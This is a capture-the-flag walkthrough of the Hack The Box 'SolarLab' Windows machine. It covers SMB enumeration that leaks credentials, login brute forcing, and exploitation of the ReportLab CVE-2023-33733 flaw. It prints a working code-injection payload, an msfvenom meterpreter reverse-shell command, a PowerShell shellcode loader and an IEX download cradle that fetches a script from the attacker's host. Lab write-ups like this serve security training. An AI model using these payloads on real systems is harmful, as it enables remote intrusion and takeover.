HTB; Windows; Medium; 10.129.x.x

Initial Enumeration

Port Enumeration showed port 80, 135, 139, 445, 6791 are open

  1. 80 is the HTTP site, redirect page to http://solarlab.htb
    • gonna add the ip and url to the /etc/hosts
  2. 135,139,445 are typical Windows File Sharing Ports
  3. 6791, another HTTP site, redirect page to http://report.solarlab.htb:6791/

Port 80 is quite a static web, not much to exploit except that it’s using the jewltheme, which means target is running WordPress

Found one vulnerability https://nvd.nist.gov/vuln/detail/CVE-2024-29911, but using wpscan over the target’s port 80, it’s not really a wordpress site.

Port 6791 has a login page to ReportHub

Port 445 SMB Port allows the connection without credential for its Documents directory

kali > smbclient \\10.129.242.198\Documents

I literally grabbed everything I could from port 445.

The only important file is details-file.xlsx, it contains several username + password combinations.

After trying them one by one, two Possible usernames for the ReportHub, as these two usernames prompt User authentication error. Others will have the User not found error.

  1. AlexanderK
  2. ClaudiaS

Initial Foothold

After after using hydra to brute force the password for these two usernames, it is still not working. That’s where I stuck, got the help from the guided mode (they are super handy), and it turned out that this kind of stuck is the kind that I couldn’t solve it myself. The answer is the we need to modify the user blake.byte’s username format to BlakeB, and then the correspondent password will work out.

The server itself isn’t much to explore, except that it generates PDF files

Take a look from the Burp Suite, it looks like the PDF is generated by Report Lab.

Google the Report Lab vulnerability, found CVE-2023-33733 from https://github.com/c53elyas/CVE-2023-33733. The short version of the exploit is to add the following to the Report Lab PDF Generation, then the injected command will get executed.

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c wget http://10.10.14.160') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'"> </font></para>

Searching for the field that could be used for this RCE exploit, the “training_request” field is good for that task. On the first impression, “Justification” should be the place, but the 300 characters limit is really a pain in the butt. I tried a lot of methods to bypass it, even disabled the java script, not working very well. Do notice that using the RCE exploit at the “training_request” field will cause an error from the server, but we are still receiving the signal.

Received the signal from the server

Now construct the payload. I’m gonna use the tricks I learned from OSEP.

  • Generate meterpreter payload using msfvenom
    • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.160 LPORT=443 -f psh
  • Create a ps1 file that will initiate the reverse shell at the target site

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $Kernel32

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0. . . . .copy the payload from step 1

$size = $buf.Length
$thandle=Kernel32::CreateThread(0,0,$addr,0,0,0);

  • base64 encode the download cradle with IEX
    • (New-Object System.Net.WebClient).DownloadString(‘http://10.10.14.160/SolarLab/powershel443.ps1’) | IEX
    • [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(((Get-Content -path ‘cradle.txt’ -raw))))
  • Copy the output to the RCE exploit, before run it, make sure to set up the meterpreter listener first.

Privilege Escalation

I am getting too rusty on Windows Privilege Escalation. I remembered when I was doing OSEP, I was pretty good at. And I don’t want to ruin the fun part by looking at somebody else’s work through. So I am gonna save it, hopefully someday I’ll have time to come back and finish the unfinished part.